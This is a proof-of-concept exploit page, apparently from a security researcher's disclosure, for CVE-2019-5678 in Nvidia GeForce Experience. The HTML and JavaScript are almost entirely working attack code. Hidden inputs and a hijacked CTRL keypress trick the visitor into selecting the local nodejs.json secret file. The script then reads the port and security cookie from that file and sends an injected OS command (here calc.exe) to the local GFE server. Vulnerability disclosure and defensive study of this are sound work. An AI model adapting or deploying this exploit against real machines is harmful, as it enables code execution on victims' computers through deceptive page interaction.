66 lines
No EOL
2.5 KiB
HTML
66 lines
No EOL
2.5 KiB
HTML
<!--
|
||
POC for CVE‑2019‑5678 Nvidia GeForce Experience OS command injection via a web browser
|
||
Author: David Yesland -- Rhino Security Labs
|
||
-->
|
||
<html>
|
||
<head>
|
||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
|
||
</head>
|
||
<body>
|
||
<script>
|
||
//Send request to local GFE server
|
||
function submitRequest(port,secret)
|
||
{
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open("POST", "http:\/\/127.0.0.1:"+port+"\/gfeupdate\/autoGFEInstall\/", true);
|
||
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
|
||
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
|
||
xhr.setRequestHeader("Content-Type", "text\/html");
|
||
xhr.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
|
||
var body = "\""+document.getElementById("cmd").value+"\"";
|
||
var aBody = new Uint8Array(body.length);
|
||
for (var i = 0; i < aBody.length; i++)
|
||
aBody[i] = body.charCodeAt(i);
|
||
xhr.send(new Blob([aBody]));
|
||
}
|
||
|
||
$(document).on('change', '.file-upload-button', function(event) {
|
||
var reader = new FileReader();
|
||
|
||
reader.onload = function(event) {
|
||
var jsonObj = JSON.parse(event.target.result);
|
||
submitRequest(jsonObj.port,jsonObj.secret);
|
||
}
|
||
|
||
reader.readAsText(event.target.files[0]);
|
||
});
|
||
|
||
//Copy text from some text field
|
||
function myFunction() {
|
||
var copyText = document.getElementById("myInput");
|
||
copyText.select();
|
||
document.execCommand("copy");
|
||
|
||
}
|
||
|
||
//trigger the copy and file window on ctrl press
|
||
$(document).keydown(function(keyPressed) {
|
||
if (keyPressed.keyCode == 17) {
|
||
myFunction();document.getElementById('file-input').click();
|
||
}
|
||
});
|
||
</script>
|
||
<h2>
|
||
Press CTRL+V+Enter
|
||
</h2>
|
||
<!--Command to run in a hidden input field-->
|
||
<input type="hidden" value="calc.exe" id="cmd" size="55">
|
||
<!--Hidden text box to copy text from-->
|
||
<div style="opacity: 0.0;">
|
||
<input type="text" value="%LOCALAPPDATA%\NVIDIA Corporation\NvNode\nodejs.json"
|
||
id="myInput" size="1">
|
||
</div>
|
||
<!--file input-->
|
||
<input id="file-input" onchange="file_changed(this)" onclick="this.value=null;" accept="application/json" class='file-upload-button' type="file" name="name" style="display: none;" />
|
||
</body>
|
||
</html> |